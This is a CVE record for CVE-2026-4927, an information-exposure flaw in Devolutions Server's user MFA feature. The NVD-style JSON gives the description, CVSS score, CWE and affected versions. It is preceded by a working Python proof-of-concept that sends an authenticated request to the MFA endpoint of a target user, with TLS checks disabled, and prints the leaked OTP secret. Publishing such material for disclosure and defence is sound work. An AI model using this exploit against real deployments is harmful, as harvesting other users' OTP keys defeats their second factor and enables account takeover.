CVE-2026-4927

import requests import json # Target URL (Example) base_url = "https://target-server.com" api_endpoint = "/api/v1/users/{user_id}/mfa" # Attacker's credentials with user management privileges auth_token = "ATTACKER_JWT_TOKEN" headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Target user ID to compromise target_user_id = "12345" try: # Send authenticated API request to fetch MFA settings response = requests.get(f"{base_url}{api_endpoint.format(user_id=target_user_id)}", headers=headers, verify=False) if response.status_code == 200: data = response.json() # Extract the sensitive OTP key from the response otp_secret = data.get('otpSecret') or data.get('mfa_secret') if otp_secret: print(f"[+] Successfully leaked OTP Key for user {target_user_id}: {otp_secret}") else: print("[-] OTP Key not found in response.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-4927", "sourceIdentifier": "[email protected]", "published": "2026-04-01T16:23:51.870", "lastModified": "2026-04-03T19:14:03.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of sensitive information in the users MFA feature in Devolutions Server allows users with user management privileges to obtain other users OTP keys via an authenticated API request.\n\n\n\nThis issue affects Server: from 2026.1.6 through 2026.1.11."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.6.0", "versionEndExcluding": "2026.1.12.0", "matchCriteriaId": "C03E8B95-397C-465C-BE01-810DC9852675"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0010", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}